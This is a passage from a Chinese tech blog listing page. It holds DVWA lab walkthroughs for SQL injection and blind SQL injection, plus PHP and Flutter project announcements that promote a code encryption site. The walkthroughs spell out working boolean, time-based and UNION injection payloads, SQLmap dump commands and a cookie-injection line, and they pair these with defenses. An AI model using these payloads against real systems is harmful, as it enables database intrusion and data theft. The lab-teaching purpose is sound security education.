最新发布
-
DVWA SQL盲注通关指南:从手工注入到自动化工具 DVWA SQL盲注通关指南:从手工注入到自动化工具 深入掌握布尔盲注与时间盲注的技巧与防御SQL盲注(Blind SQL Injection)是SQL注入的一种特殊形式,当应用程序易受SQL注入攻击但其HTTP响应不包含相关SQL查询结果或错误详情时发生。与常规SQL注入不同,盲注时攻击者无法直接看到注入语句的执行结果,甚至无法确认语句是否执行,只能通过"盲猜"方式获取信息。 本文将基于DVWA(Damn Vulnerable Web Application)平台,详细解析SQL盲注的原理、技巧和防御方法,涵盖从Low到Impossible四个安全级别。 1 SQL盲注概述 1.1 什么是SQL盲注 SQL盲注是一种SQL注入技术,适用于目标页面无法直接返回注入结果的场景。在这种情况下,攻击者通过构造SQL语句,结合页面的真/假返回值,逐步推断出数据库中的敏感信息。 1.2 盲注与一般注入的区别 特性一般SQL注入SQL盲注结果可见性直接显示查询结果无直接结果反馈难度等级相对简单相对复杂时间消耗较短较长技术需求基础SQL知识高级SQL技巧和耐心1.3 盲注的三种类型 基于布尔的盲注:通过页面返回的"真"(存在)或"假"(不存在)状态来推断信息 基于时间的盲注:通过数据库响应时间的差异来判断条件真假 基于错误的盲注:通过触发条件性错误来获取信息 2 DVWA环境搭建 2.1 DVWA简介 DVWA(Damn Vulnerable Web Application)是一个专门用于安全练习的PHP/MySQL Web应用程序。它提供了四种安全级别,从完全无防护到几乎不可破解: Low:无任何防护措施 Medium:基础防护(如转义特殊字符) High:较强防护(如限制输入类型) Impossible:近乎完美的防护 2.2 环境配置 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) 2.3 设置安全级别 在DVWA首页可以设置四个安全级别,本文主要关注SQL Injection (Blind)模块。 3 Low级别盲注详解 3.1 漏洞分析 Low级别的源码完全没有进行任何过滤,直接拼接用户输入到SQL查询中: $id = $_GET['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";页面仅返回"User ID exists"(存在)或"User ID is MISSING"(不存在)两种状态,不显示具体查询结果。 3.2 手工注入步骤 3.2.1 判断注入类型 首先判断是否存在注入点以及注入类型: 1' AND 1=1# → 返回"exists"(真) 1' AND 1=2# → 返回"MISSING"(假)结论:存在字符型注入(需单引号闭合)。 3.2.2 猜解数据库名长度 使用LENGTH()函数猜解当前数据库名的长度: 1' AND length(DATABASE())=1# → MISSING 1' AND LENGTH(DATABASE())=2# → MISSING 1' AND LENGTH(DATABASE())=3# → MISSING 1' AND LENGTH(DATABASE())=4# → exists结论:数据库名长度为4个字符(DVWA)。 3.2.3 逐字符猜解数据库名 使用SUBSTRING()和ASCII()函数逐字符猜解数据库名: -- 猜第一个字符(ASCII码二分法) 1' AND ASCII(SUBSTRING(DATABASE(),1,1))>97# → exists(大于'a') 1' AND ASCII(SUBSTRING(DATABASE(),1,1))<100# → MISSING 1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100# → exists → 字符'd' -- 猜第二个字符 1' AND ASCII(SUBSTRING(DATABASE(),2,1))>97# → exists(大于'a') 1' AND ASCII(SUBSTRING(DATABASE(),2,1))<100# → MISSING 1' AND ASCII(SUBSTRING(DATABASE(),2,1))=118# → exists → 字符'v'重复上述步骤,依次猜解第3~4位字符('w'、'a'),得到数据库名dvwa。 3.2.4 猜解表名 首先猜解数据库中表的数量: 1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=2# → exists结论:共有2张表。 猜解第一张表的长度: 1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1))=9# → exists结论:第一张表名长度为9个字符。 逐字符猜解第一张表名: 1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=103# → exists → 'g'重复上述步骤,最终得到表名:guestbook(9字符)和users(5字符)。 3.2.5 猜解列名与数据 判断users表中是否存在user列: 1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='user')=1# → exists同样方法验证password列存在。 猜解admin用户的密码首字符: 1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1))=53# → exists → '5'最终可提取admin的MD5密码哈希:5f4dcc3b5aa765d61d8327deb882cf99(明文为password)。 3.3 自动化工具注入 使用SQLmap工具可以自动化完成上述过程: sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ --technique=B --batch --dbs参数说明: --technique=B:布尔盲注模式 --dbs:获取所有数据库名 4 Medium级别盲注详解 4.1 漏洞分析 Medium级别使用了mysql_real_escape_string()函数对输入进行转义: $id = $_POST['id']; $id = mysql_real_escape_string($id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";注意这里不再使用引号包围$id,说明是数字型注入,因此转义函数无法防止注入。 4.2 注入技巧 4.2.1 判断注入类型 由于前端改为下拉菜单,需要使用Burp Suite等工具抓包修改参数。 抓包后修改id参数为: 1 AND 1=1 → 存在 1 AND 1=2 → 不存在说明存在数字型注入,无需单引号闭合。 4.2.2 获取数据库信息 猜解数据库版本信息: 1 AND MID(@@version,1,1)=5 → 判断MySQL版本是否为5.x猜解数据库长度: 1 AND LENGTH(DATABASE())=4 → 判断长度为44.2.3 使用Burp Intruder自动化测试 拦截请求发送到Intruder 设置攻击类型为"Cluster bomb" 设置payload位置: 位置1:数据库名,字符位置(1-4) 位置2:ASCII值(1-128) Payload: 1 AND ASCII(SUBSTRING(DATABASE(),§1§,1))=§2§通过Burp Intruder可以自动化猜解过程,大大提高了效率。 5 High级别盲注详解 5.1 漏洞分析 High级别使用单引号包裹输入并转义,但存在Cookie注入点: $id = $_COOKIE['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";5.2 注入技巧 5.2.1 Cookie注入技术 修改Cookie值进行注入: document.cookie="id=1' AND '1'='1'-- ;";5.2.2 基于时间的盲注 使用时间延迟函数判断条件真假: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))abc)# //延时5s5.2.3 使用SQLmap自动化测试 保存Cookie和请求到文件,然后运行: sqlmap -r request.txt --level=5 --risk=3 --technique=B --dbms=mysql --batch6 Impossible级别防御分析 Impossible级别采用了完善的防护措施: $data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;'); $data->bindParam(':id', $id, PDO::PARAM_INT); $data->execute();6.1 防护要点 使用PDO预处理语句:将代码与数据完全分离,用户输入不再被解释为SQL代码的一部分 参数绑定:使用bindParam方法绑定参数,指定参数类型 强制类型为INT:确保输入只能是整数类型 LIMIT 1限制:限制只返回一个结果,防止信息泄露 6.2 测试验证 尝试任何盲注技术都无法成功,输入被严格限制为数字。 7 SQL盲注防御方案 7.1 根本解决方案 使用参数化查询(预处理语句) 这是最有效、最根本的防御方式,能彻底分离代码和数据。 实施严格的输入验证 对用户输入进行严格的白名单验证,只允许符合特定格式的输入。 7.2 临时加固措施 过滤输入:使用mysqli_real_escape_string()等函数转义特殊字符 统一错误消息:避免泄露状态差异,使攻击者无法区分真假条件 类型强制转换:确保输入参数符合预期类型 7.3 架构设计 最小权限原则:Web应用程序连接数据库时应使用最低权限账户 WAF防护:使用Web应用防火墙提供额外保护层 定期安全扫描:定期进行安全审计和漏洞扫描 8 自动化工具使用指南 8.1 SQLmap高级用法 基本命令: 获取数据库用户名 sqlmap -u "https://dvwa.guixinan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=oftq5l7euk0bpl0jejubt03euq" --current-db --batch4.png图片 接着获取数据库表名 sqlmap -u "https://dvwa.guixinan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=oftq5l7euk0bpl0jejubt03euq" -D dvwa --tables --batch5.png图片 再接着获取用户的信息 sqlmap -u "https://dvwa.guixinan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=oftq5l7euk0bpl0jejubt03euq" -D dvwa -T users --dump --batch6.png图片 8.2 Burp Suite专业技巧 使用Turbo Intruder:处理大量请求 配置Grep Match规则:自动标记响应差异 利用Logger++扩展:记录和分析所有请求 9 总结与反思 通过DVWA的全级别SQL盲注复现,我们可以看到盲注虽然比普通SQL注入更困难,但在安全措施不足的情况下仍然危险。 9.1 盲注攻击链 盲注的典型攻击链包括:判断注入类型 → 猜库名 → 猜表名 → 猜列名 → 猜数据。 9.2 核心技巧 二分法:通过不断缩小范围快速确定字符值 状态差异判断:通过页面响应差异判断条件真假 工具辅助:手工注入理解原理,自动化工具提高效率 9.3 道德与法律考量 重要声明:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果。 安全研究的正确姿势: ✅ 先授权,再测试 ✅ 只针对自己拥有或有权测试的系统 ✅ 发现漏洞后,及时报告并协助修复 ✅ 尊重隐私,不越界 10 参考资料 DVWA官方文档 SQLmap用户手册 OWASP SQL注入防护指南 MySQL官方文档 希望本文能帮助你理解SQL盲注的原理、利用技巧和防御方法,在今后的安全测试和开发工作中更好地应用这些知识。记住,技术本身无善恶,取决于使用技术的人的目的和方式。 免责声明:本文仅用于教育目的和安全研究,请勿用于非法用途。对于任何滥用本文所述技术的行为,作者不承担任何责任。
-
AI生成漂流瓶程序开源发布:体验随机邂逅的乐趣 AI生成漂流瓶程序开源发布:体验随机邂逅的乐趣 基于PHP开发的趣味漂流瓶应用,支持消息传递和后台管理🌊 项目概述 p1.jpg图片 p2.jpg图片 最近心血来潮,我使用AI辅助开发了一款有趣的漂流瓶程序。这是一个充满随机性和惊喜的web应用,用户可以通过"扔瓶子"和"捞瓶子"的方式与陌生人进行匿名交流。虽然代码结构较为简单,但功能完整,适合学习和二次开发。 下载地址:隐藏内容,请前往内页查看详情 🎯 项目特色 核心功能 扔漂流瓶:用户可以向大海投入包含消息的漂流瓶 捞漂流瓶:随机捞取其他用户投放的漂流瓶 匿名交流:保护用户隐私的匿名聊天系统 后台管理:第一个注册的用户自动获得管理员权限 技术特点 纯PHP开发:无需复杂框架,易于理解和部署 轻量级设计:单个文件实现主要功能,代码简洁 AI辅助开发:使用AI生成代码,快速实现创意想法 🚀 快速开始 环境要求 PHP版本:5.6或更高版本(推荐PHP 7.4+) 数据库:MySQL 5.5或更高版本 Web服务器:Apache或Nginx 安装步骤 创建数据库 CREATE DATABASE bottle_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; 导入SQL文件 mysql -u username -p bottle_db < database.sql 修改数据库配置 编辑index.php文件中的数据库连接信息: // 修改以下配置信息 $db_host = 'localhost'; // 数据库主机 $db_name = 'bottle_db'; // 数据库名称 $db_user = 'root'; // 数据库用户名 $db_pass = 'password'; // 数据库密码 // 创建数据库连接 $conn = new mysqli($db_host, $db_user, $db_pass, $db_name); if ($conn->connect_error) { die("数据库连接失败: " . $conn->connect_error); } 访问网站 前台地址:http://您的域名/index.php 后台管理:第一个注册的用户自动获得管理员权限 📋 功能说明 用户功能 // 用户注册和登录示例代码 function registerUser($username, $password) { global $conn; $hashed_password = password_hash($password, PASSWORD_DEFAULT); $stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)"); $stmt->bind_param("ss", $username, $hashed_password); return $stmt->execute(); } function loginUser($username, $password) { global $conn; $stmt = $conn->prepare("SELECT password FROM users WHERE username = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { $user = $result->fetch_assoc(); return password_verify($password, $user['password']); } return false; }漂流瓶功能 // 扔漂流瓶功能 function throwBottle($user_id, $message) { global $conn; $stmt = $conn->prepare("INSERT INTO bottles (user_id, message, create_time) VALUES (?, ?, NOW())"); $stmt->bind_param("is", $user_id, $message); return $stmt->execute(); } // 捞漂流瓶功能 function pickBottle() { global $conn; $result = $conn->query("SELECT * FROM bottles ORDER BY RAND() LIMIT 1"); if ($result->num_rows > 0) { return $result->fetch_assoc(); } return null; }🎨 界面优化建议 虽然当前UI比较简陋,但可以通过以下方式进行美化: CSS样式优化 /* 基础样式优化 */ .bottle-container { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; padding: 20px; } .bottle-card { background: rgba(255, 255, 255, 0.9); border-radius: 15px; padding: 20px; box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); margin: 10px; backdrop-filter: blur(10px); } .btn-ocean { background: #4facfe; color: white; border: none; padding: 12px 24px; border-radius: 25px; cursor: pointer; transition: all 0.3s ease; } .btn-ocean:hover { background: #00f2fe; transform: translateY(-2px); }JavaScript交互增强 // 添加动画效果 function animateBottleThrow() { const bottle = document.createElement('div'); bottle.className = 'bottle-animation'; bottle.innerHTML = '🎋'; document.body.appendChild(bottle); setTimeout(() => { bottle.remove(); }, 2000); } // AJAX异步交互 async function throwBottleAsync(message) { try { const response = await fetch('api/throw_bottle.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ message: message }) }); return await response.json(); } catch (error) { console.error('扔瓶子失败:', error); } }🔧 二次开发建议 功能扩展 瓶子类型系统:添加不同类型的瓶子(问题瓶、祝福瓶等) 积分系统:扔瓶子消耗积分,捞瓶子获得积分 私信功能:允许用户之间建立私密对话 地理位置:显示瓶子的"漂流距离" 时间限制:瓶子有过期时间,增加紧迫感 代码结构优化 // 建议的MVC结构重构 // Model层 class BottleModel { public static function create($user_id, $message) { // 数据库操作 } public static function getRandom() { // 随机获取瓶子 } } // Controller层 class BottleController { public function throwAction() { $message = $_POST['message']; $result = BottleModel::create($_SESSION['user_id'], $message); // 返回结果 } }🔒 安全增强建议 基础安全措施 // 输入验证和过滤 function validateInput($input) { $input = trim($input); $input = stripslashes($input); $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); return $input; } // SQL注入防护 function getBottlesByUser($user_id) { global $conn; $stmt = $conn->prepare("SELECT * FROM bottles WHERE user_id = ?"); $stmt->bind_param("i", $user_id); $stmt->execute(); return $stmt->get_result(); }PHP代码加密保护 对于计划商用的用户,建议对PHP代码进行加密保护: PHP代码加密平台 提供: 多种加密方式:Sg16、Deck3、Ic12等多种版本 灵活的方案:支持goto、enphp、noname等加密方式 完全免费:全站免费使用 易于使用:轻松保护代码安全 📊 数据库结构 主要数据表结构: -- 用户表 CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) UNIQUE NOT NULL, password VARCHAR(255) NOT NULL, is_admin TINYINT(1) DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ); -- 漂流瓶表 CREATE TABLE bottles ( id INT AUTO_INCREMENT PRIMARY KEY, user_id INT NOT NULL, message TEXT NOT NULL, is_read TINYINT(1) DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (user_id) REFERENCES users(id) );🎉 结语 这个漂流瓶程序虽然代码结构简单,但提供了一个完整的功能基础。它非常适合: 学习参考:了解PHP基础编程和数据库操作 二次开发:基于现有功能进行扩展和优化 创意实践:体验AI辅助编程的乐趣 社区建设:搭建小型的匿名交流平台 项目特点: 🌊 简单易用的漂流瓶功能 🔐 基本的用户管理系统 👑 第一个用户自动成为管理员 💡 AI辅助开发,代码易于理解 🎨 界面简陋但功能完整 使用建议: 建议在本地或测试环境先进行体验 生产环境使用前请进行安全加固 欢迎对UI界面进行重写和美化 可以根据需求扩展更多有趣功能 如果您对这个项目感兴趣,欢迎下载体验并提出宝贵建议!让我们一起让这个漂流瓶程序变得更加完善和有趣。 温馨提示:请在遵守相关法律法规的前提下使用本程序,尊重用户隐私,营造健康的网络交流环境。
-
Flutter极客软件库开源发布:跨平台应用开发新选择 Flutter极客软件库开源发布:跨平台应用开发新选择 基于Flutter开发的现代化软件库,持续更新中,欢迎社区贡献🎯 项目概述 最近利用空闲时间,我使用Flutter开发了一个极客软件库(Geek Library),现已正式开源。该项目旨在为开发者提供一个实用、高效的Flutter组件和工具集合,目前仍在持续完善中,欢迎社区开发者提出宝贵建议和贡献代码。 开源地址:隐藏内容,请前往内页查看详情 🚀 项目特色 e1.jpg图片 e2.jpg图片 e3.jpg图片 e4.jpg图片 e5.jpg图片 e6.jpg图片 e7.jpg图片 跨平台支持 全平台兼容:基于Flutter框架,支持iOS、Android、Web、Windows、macOS、Linux六大平台 一致体验:在不同平台上提供统一的用户体验和界面设计 高效开发:一次编写,多端运行,大幅提升开发效率 技术架构 // 示例:基础组件结构 class GeekButton extends StatelessWidget { final String text; final VoidCallback onPressed; final GeekButtonStyle style; const GeekButton({ Key? key, required this.text, required this.onPressed, this.style = GeekButtonStyle.primary, }) : super(key: key); @override Widget build(BuildContext context) { return ElevatedButton( onPressed: onPressed, style: _getButtonStyle(style), child: Text(text), ); } ButtonStyle _getButtonStyle(GeekButtonStyle style) { // 样式配置逻辑 } }📦 主要功能模块 核心组件库 UI组件:按钮、卡片、对话框、表单控件等 布局组件:响应式布局、网格系统、列表视图 动画组件:预定义动画效果和过渡动画 工具类集合 // 工具类示例 class GeekUtils { // 网络请求工具 static Future<Response> get(String url) async { return await http.get(Uri.parse(url)); } // 本地存储工具 static Future<void> saveData(String key, String value) async { final prefs = await SharedPreferences.getInstance(); await prefs.setString(key, value); } // 设备信息工具 static Future<String> getDeviceInfo() async { final deviceInfo = DeviceInfoPlugin(); if (Platform.isAndroid) { final androidInfo = await deviceInfo.androidInfo; return androidInfo.model; } else if (Platform.isIOS) { final iosInfo = await deviceInfo.iosInfo; return iosInfo.utsname.machine; } return 'Unknown device'; } }特色功能 主题切换:支持明暗主题动态切换 多语言支持:国际化支持,易于本地化 状态管理:提供多种状态管理方案 路由管理:简洁高效的路由导航系统 🛠️ 安装和使用 环境要求 Flutter SDK:3.0.0或更高版本 Dart:2.17.0或更高版本 开发工具:Android Studio、VS Code或IntelliJ IDEA 安装步骤 添加依赖 dependencies: geek_library: git: url: https://gitee.com/geek-fox/geek.git ref: main 导入包 import 'package:geek_library/geek_library.dart'; 使用组件 GeekButton( text: '点击我', onPressed: () { GeekUtils.showToast('Hello Geek!'); }, style: GeekButtonStyle.primary, ) 🎨 自定义配置 主题定制 // 自定义主题配置 GeekThemeData myTheme = GeekThemeData( primaryColor: Colors.blue, accentColor: Colors.orange, textTheme: TextTheme( headline1: TextStyle(fontSize: 24, fontWeight: FontWeight.bold), bodyText1: TextStyle(fontSize: 16, color: Colors.black87), ), ); // 应用主题 GeekApp( theme: myTheme, home: MyHomePage(), );组件样式覆盖 // 自定义按钮样式 GeekButton( text: '自定义按钮', onPressed: () {}, style: GeekButtonStyle.custom( backgroundColor: Colors.purple, textColor: Colors.white, borderRadius: 20, ), )🔧 开发指南 项目结构 geek/ ├── lib/ │ ├── src/ │ │ ├── components/ # 组件库 │ │ ├── utils/ # 工具类 │ │ ├── themes/ # 主题配置 │ │ └── models/ # 数据模型 │ ├── geek_library.dart # 主入口文件 │ └── exports.dart # 导出文件 ├── example/ # 示例项目 └── test/ # 测试文件贡献代码 Fork仓库 创建特性分支 git checkout -b feature/AmazingFeature 提交更改 git commit -m 'Add some AmazingFeature' 推送到分支 git push origin feature/AmazingFeature 创建Pull Request 📱 示例应用 项目包含完整的示例应用,展示所有组件的使用方法: // 示例应用主入口 void main() { runApp(GeekExampleApp()); } class GeekExampleApp extends StatelessWidget { @override Widget build(BuildContext context) { return MaterialApp( title: 'Geek Library Example', theme: GeekThemes.lightTheme, darkTheme: GeekThemes.darkTheme, home: ComponentShowcase(), ); } }🚀 未来发展计划 [ ] 增加更多UI组件 [ ] 添加高级动画效果 [ ] 支持插件系统 [ ] 提供更多工具类 [ ] 完善文档和示例 [ ] 增加测试覆盖率 🔒 代码保护建议(PHP相关) 虽然本项目是Dart/Flutter项目,但对于后端PHP代码,建议使用加密保护: PHP代码加密平台 提供: 多种加密方式:Sg16、Deck3、Ic12等版本 灵活的方案:goto、enphp、noname等加密方式 完全免费:全站免费使用 易于使用:轻松保护代码安全 💡 使用建议 学习参考:适合学习Flutter组件开发 项目开发:可直接用于实际项目开发 二次开发:基于现有架构进行功能扩展 贡献参与:欢迎提交PR和Issue 🎉 结语 Geek软件库是一个持续发展的Flutter组件库项目,旨在为开发者提供高质量、可复用的UI组件和工具类。项目完全开源,欢迎社区开发者参与贡献,共同打造更好的Flutter开发生态。 项目特点: 🌟 完全开源,社区驱动 🚀 多平台支持,一次编写到处运行 🎨 丰富的UI组件和主题系统 🔧 实用的工具类集合 📖 完整的示例和文档 如果您对这个项目感兴趣,欢迎: ⭐ Star 项目支持 🐛 提交Issue反馈问题 🔄 Fork代码进行二次开发 💬 提出宝贵建议和功能需求 欢迎访问Gitee仓库查看详细代码和示例:隐藏内容,请前往内页查看详情 让我们一起打造更好的Flutter开发体验!
-
个人作品展示平台小程序:基于ThinkPHP+uni-app的全栈开发实战 个人作品展示平台小程序:基于ThinkPHP+uni-app的全栈开发实战 前后端分离架构,包含前台展示与后台管理,支持数据可视化与分析🎯 项目概述 今天给大家分享一个完整的个人作品展示平台项目,包含前台展示系统和后台管理系统。该项目采用前后端分离架构,前端基于uni-app(Vue.js)开发,后端基于ThinkPHP框架提供RESTful API接口。虽然前端代码未完全开源,但提供了足够的基础功能和自定义空间。 c1.jpg图片 c2.jpg图片 c3.jpg图片 c4.jpg图片 📁 源码地址 后端源码:隐藏内容,请前往内页查看详情 前端源码:隐藏内容,请前往内页查看详情 🚀 系统功能特色 前台展示功能 个人信息展示:完整展示个人简介、技术栈、联系方式 项目案例展示:支持项目分类、图片轮播、详情查看 数据可视化:集成ECharts,展示客户分布地图和访问统计 多渠道联系:提供多种联系方式并支持在线留言 后台管理功能 用户权限管理:完善的用户管理和权限控制系统 项目内容管理:项目信息、分类、图片等内容管理 数据统计分析:访问统计、地理分布、热门页面分析 系统参数配置:灵活的系统设置和技术栈管理 🛠️ 技术架构 后端技术栈 // ThinkPHP RESTful API 示例 namespace app\api\controller; use think\Controller; use think\Request; class Projects extends Controller { // 获取项目列表 public function index() { $projects = model('Project')->with('category')->select(); return json(['code' => 200, 'data' => $projects]); } // 获取单个项目详情 public function read($id) { $project = model('Project')->with('images')->find($id); return json(['code' => 200, 'data' => $project]); } }前端技术栈 // uni-app 页面示例 <template> <view class="project-detail"> <swiper :indicator-dots="true" :autoplay="true"> <swiper-item v-for="(image, index) in project.images" :key="index"> <image :src="image.url" mode="aspectFill" /> </swiper-item> </swiper> <view class="project-info"> <text class="title">{{ project.title }}</text> <text class="description">{{ project.description }}</text> </view> </view> </template> <script> export default { data() { return { project: {} } }, onLoad(options) { this.getProjectDetail(options.id) }, methods: { async getProjectDetail(id) { const res = await this.$http.get(`/projects/${id}`) this.project = res.data } } } </script>📊 数据可视化实现 系统集成了ECharts实现丰富的数据可视化效果: // ECharts 配置示例 const initChart = () => { const chart = echarts.init(document.getElementById('visit-chart')) const option = { title: { text: '访问统计' }, tooltip: {}, xAxis: { data: ['周一', '周二', '周三', '周四', '周五', '周六', '周日'] }, yAxis: {}, series: [{ name: '访问量', type: 'bar', data: [120, 200, 150, 80, 70, 110, 130] }] } chart.setOption(option) }⚙️ 安装部署指南 环境要求 PHP版本:7.4+(推荐8.0+) 数据库:MySQL 5.7+ 或 PostgreSQL Web服务器:Nginx/Apache Node.js:14.0+(前端构建需要) 后端部署步骤 克隆源码 git clone https://github.com/newpetersun/petersun-php-admin.git cd petersun-php-admin 安装依赖 composer install 环境配置 cp .env.example .env # 编辑.env文件配置数据库信息 数据库初始化 php think migrate:run php think seed:run 配置Web服务器 # Nginx配置示例 server { listen 80; server_name your-domain.com; root /path/to/petersun-php-admin/public; location / { try_files $uri $uri/ /index.php?$query_string; } location ~ \.php$ { include fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } } 前端部署步骤 克隆源码 隐藏内容,请前往内页查看详情 安装依赖 npm install 配置API地址 // 修改config/api.js中的后端API地址 export const BASE_URL = 'https://your-api-domain.com/api' 构建项目 # 构建H5版本 npm run build:h5 # 或构建微信小程序版本 npm run build:mp-weixin 🔒 代码安全保护建议 对于PHP后端代码,建议使用加密保护以防止源码泄露: 推荐加密平台 PHP代码加密平台 提供: 多种加密方式:Sg16、Deck3、Ic12等多种版本 灵活的方案:支持goto、enphp、noname等加密方式 完全免费:全站免费使用,支持扩展和非扩展加密 易于使用:轻松保护代码安全 加密示例 # 加密前后对比 # 加密前:可读的PHP代码 public function getUserInfo($userId) { return Db::name('user')->where('id', $userId)->find(); } # 加密后:保护的核心业务逻辑 # 加密后的代码无法直接阅读,有效防止源码分析🎨 自定义修改指南 虽然前端未完全开源,但支持以下自定义: 样式修改 /* 修改主题颜色 */ :root { --primary-color: #3498db; --secondary-color: #2ecc71; } /* 调整布局样式 */ .project-card { border-radius: 12px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); }功能扩展建议 添加博客模块:集成Markdown编辑器 增强SEO:实现SSR服务端渲染 多语言支持:添加i18n国际化 性能优化:实现缓存和CDN加速 📈 项目特色亮点 完整的全栈解决方案:提供从后端到前端的完整代码 现代化技术栈:采用主流框架和开发模式 丰富的可视化效果:集成ECharts实现数据展示 响应式设计:完美适配各种设备屏幕 良好的代码结构:便于二次开发和功能扩展 💡 使用建议 学习参考:适合学习ThinkPHP和uni-app开发 项目展示:可用于个人作品集展示 二次开发:基于现有架构进行功能扩展 商业应用:适当修改后可用于商业项目 🎉 结语 这个个人作品展示平台项目提供了一个完整的前后端分离开发范例,无论是学习全栈开发技术,还是需要搭建个人作品展示网站,都是很好的选择。项目的模块化设计和清晰的代码结构,使得二次开发和功能扩展变得相对容易。 温馨提示: 部署前请仔细阅读文档和代码注释 生产环境建议启用HTTPS和代码加密 定期备份数据库和源码文件 如果您对这个项目感兴趣,欢迎: ⭐ Star GitHub仓库支持开发者 🐛 提交Issue反馈问题 🔄 Fork代码进行二次开发 欢迎在评论区留言交流使用体验和技术问题!
-
DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible) DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible) 深入掌握SQL注入技巧,从零开始通关DVWA靶场SQL注入是Web安全领域最常见也是最危险的漏洞之一。DVWA(Damn Vulnerable Web Application)作为一个专门用于安全练习的靶场,提供了从低到高四个安全级别的SQL注入环境。本文将详细讲解每个级别的通关技巧和防御原理。 1 SQL注入原理简介 SQL注入(SQL Injection)是指攻击者通过将恶意SQL代码插入到Web应用程序的输入参数中,欺骗服务器执行这些恶意代码的攻击方式。当Web应用程序没有对用户输入进行充分过滤或验证时,就可能发生这种漏洞。 SQL注入的主要危害包括: 数据库敏感信息泄露 数据库数据被篡改 服务器被接管 攻击内网其他系统 2 DVWA环境搭建 DVWA是一个使用PHP/MySQL开发的Web应用程序,可以在多种平台上运行(Windows/Linux with XAMPP、WAMP或LAMP)。 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) 安全级别设置: 在DVWA首页可以设置四个安全级别: Low:低级安全(无任何防护) Medium:中级安全(基础过滤) High:高级安全(较强防护) Impossible:顶级安全(近乎完美防护) 3 Low级别通关详解 3.1 漏洞分析 Low级别的源码完全没有进行任何过滤: $id = $_REQUEST['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";用户输入的id参数直接拼接到SQL语句中,存在明显的字符型SQL注入漏洞。 3.2 注入步骤 3.2.1 判断注入点类型 首先输入正常值观察回显: id=1回显正常,显示用户ID为1的用户名。 接着测试注入类型,输入: id=1'页面报错,说明存在字符型注入,且使用单引号闭合。 3.2.2 确定字段数 使用order by语句判断查询结果的字段数: id=1' order by 2# 回显正常 id=1' order by 3#回显错误,说明字段数为2。 3.2.3 查找回显点 使用union联合查询确定回显位置: id=-1' union select 1,2#页面显示1和2,说明两个位置都可以回显。 3.2.4 获取数据库信息 获取当前数据库和版本信息: id=-1' union select database(),version()#回显结果为:数据库名dvwa,MySQL版本号。 3.2.5 获取表名 id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#回显显示有两个表:guestbook和users。 3.2.6 获取列名 id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#回显显示users表有多个字段,包括user_id, first_name, last_name, user, password等。 3.2.7 提取数据 获取所有用户名和密码: id=-1' union select group_concat(user),group_concat(password) from users#回显所有用户名和经过MD5加密的密码。 DVWA用户默认密码: 用户名MD5密码明文密码admin5f4dcc3b5aa765d61d8327deb882cf99passwordgordonbe99a18c428cb38d5f260853678922e03abc12313378d3533d75ae2c3966d7e0d4fcc69216bcharleypablo0d107d09f5bbe40cade3de5c71e9e9b7letmeinsmithy5f4dcc3b5aa765d61d8327deb882cf99password可以使用在线MD5解密网站破解这些哈希值。 3.3 自动化工具注入 使用SQLmap工具可以自动化完成上述过程: 登录DVWA后获取Cookie值 使用以下命令进行注入: sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ --batch --dbs或者 sqlmap -u "https://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=<your-session-id>" --current-db --batch1.png图片 2.png图片 获取数据库后,进一步提取表、字段和数据: sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ -D dvwa -T users --dump3.png图片 4 Medium级别通关详解 4.1 漏洞分析 